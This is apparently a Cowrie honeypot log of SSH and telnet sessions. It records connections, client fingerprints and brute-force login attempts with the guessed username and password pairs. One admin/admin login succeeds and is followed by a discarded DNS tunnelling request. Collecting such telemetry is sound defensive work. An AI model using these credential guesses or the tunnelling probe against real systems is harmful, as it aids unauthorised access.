{"eventid":"cowrie.session.closed","duration":31.16593360900879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:53.571550Z","src_ip":"74.91.213.120","session":"4eca2b1951fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52962,"dst_ip":"159.203.135.109","dst_port":22,"session":"501a95b4629a","protocol":"ssh","message":"New connection: 45.153.34.114:52962 (159.203.135.109:22) [session: 501a95b4629a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:58.481610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:58.486499Z","src_ip":"45.153.34.114","session":"501a95b4629a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:58.580818Z","src_ip":"45.153.34.114","session":"501a95b4629a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:58.836396Z","src_ip":"45.153.34.114","session":"501a95b4629a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:59.927121Z","src_ip":"45.153.34.114","session":"501a95b4629a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":48002,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ee44fe4986a","protocol":"ssh","message":"New connection: 125.16.27.190:48002 (159.203.135.109:22) [session: 0ee44fe4986a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:04.953419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:04.963469Z","src_ip":"125.16.27.190","session":"0ee44fe4986a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:05.244625Z","src_ip":"125.16.27.190","session":"0ee44fe4986a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.242","src_port":24496,"dst_ip":"159.203.135.109","dst_port":22,"session":"06820bc83614","protocol":"ssh","message":"New connection: 80.94.95.242:24496 (159.203.135.109:22) [session: 06820bc83614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.272849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.1","message":"Remote SSH version: SSH-2.0-libssh-0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.378786Z","src_ip":"80.94.95.242","session":"06820bc83614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmod123","message":"login attempt [root/gmod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.444034Z","src_ip":"125.16.27.190","session":"0ee44fe4986a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.485167Z","src_ip":"80.94.95.242","session":"06820bc83614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52686,"dst_ip":"159.203.135.109","dst_port":22,"session":"1193806b472b","protocol":"ssh","message":"New connection: 45.153.34.114:52686 (159.203.135.109:22) [session: 1193806b472b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.500370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.507290Z","src_ip":"45.153.34.114","session":"1193806b472b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.601445Z","src_ip":"45.153.34.114","session":"1193806b472b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:06.862359Z","src_ip":"45.153.34.114","session":"1193806b472b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:07.730028Z","src_ip":"125.16.27.190","session":"0ee44fe4986a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:07.950749Z","src_ip":"45.153.34.114","session":"1193806b472b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138434410095215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:09.481983Z","src_ip":"74.91.213.120","session":"174ad3edb0a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d267706ca792","protocol":"ssh","message":"New connection: 87.251.64.176:4098 (10.17.0.5:22) [session: d267706ca792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.025237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.030597Z","src_ip":"87.251.64.176","session":"d267706ca792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.127507Z","src_ip":"87.251.64.176","session":"d267706ca792","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.418095Z","src_ip":"87.251.64.176","session":"d267706ca792","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.520963Z","session":"d267706ca792","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.619053Z","src_ip":"87.251.64.176","session":"d267706ca792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:10.717526Z","src_ip":"87.251.64.176","session":"d267706ca792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.730985641479492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:11.094721Z","src_ip":"74.91.213.120","session":"af6833545473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60992,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93f88b7bf22","protocol":"ssh","message":"New connection: 45.153.34.114:60992 (159.203.135.109:22) [session: b93f88b7bf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:14.333647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:14.353135Z","src_ip":"45.153.34.114","session":"b93f88b7bf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:14.419585Z","src_ip":"45.153.34.114","session":"b93f88b7bf22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:14.770834Z","src_ip":"45.153.34.114","session":"b93f88b7bf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:15.901316Z","src_ip":"45.153.34.114","session":"b93f88b7bf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52262,"dst_ip":"159.203.135.109","dst_port":23,"session":"b54f1a7acf47","protocol":"telnet","message":"New connection: 74.91.213.120:52262 (159.203.135.109:23) [session: b54f1a7acf47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:16.097215Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52274,"dst_ip":"159.203.135.109","dst_port":23,"session":"19f611fcae1b","protocol":"telnet","message":"New connection: 74.91.213.120:52274 (159.203.135.109:23) [session: 19f611fcae1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:16.818186Z"}
{"eventid":"cowrie.session.closed","duration":31.388947248458862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:18.083188Z","src_ip":"74.91.213.120","session":"4469469d2e5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":4522,"dst_ip":"10.17.0.5","dst_port":22,"session":"89068f1525d6","protocol":"ssh","message":"New connection: 220.205.122.34:4522 (10.17.0.5:22) [session: 89068f1525d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:20.364897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:20.369281Z","src_ip":"220.205.122.34","session":"89068f1525d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:20.600641Z","src_ip":"220.205.122.34","session":"89068f1525d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicago","message":"login attempt [root/chicago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:21.556437Z","src_ip":"220.205.122.34","session":"89068f1525d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48066,"dst_ip":"159.203.135.109","dst_port":22,"session":"4240b122d85d","protocol":"ssh","message":"New connection: 45.153.34.114:48066 (159.203.135.109:22) [session: 4240b122d85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:22.445867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:22.451142Z","src_ip":"45.153.34.114","session":"4240b122d85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:22.533422Z","src_ip":"45.153.34.114","session":"4240b122d85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:22.789029Z","src_ip":"220.205.122.34","session":"89068f1525d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:22.907132Z","src_ip":"45.153.34.114","session":"4240b122d85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:23.992726Z","src_ip":"45.153.34.114","session":"4240b122d85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":30975,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7340d6aa6f","protocol":"ssh","message":"New connection: 175.107.32.186:30975 (10.17.0.5:22) [session: eb7340d6aa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:25.407624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:43:25.412734Z","src_ip":"175.107.32.186","session":"eb7340d6aa6f","protocol":"ssh"}
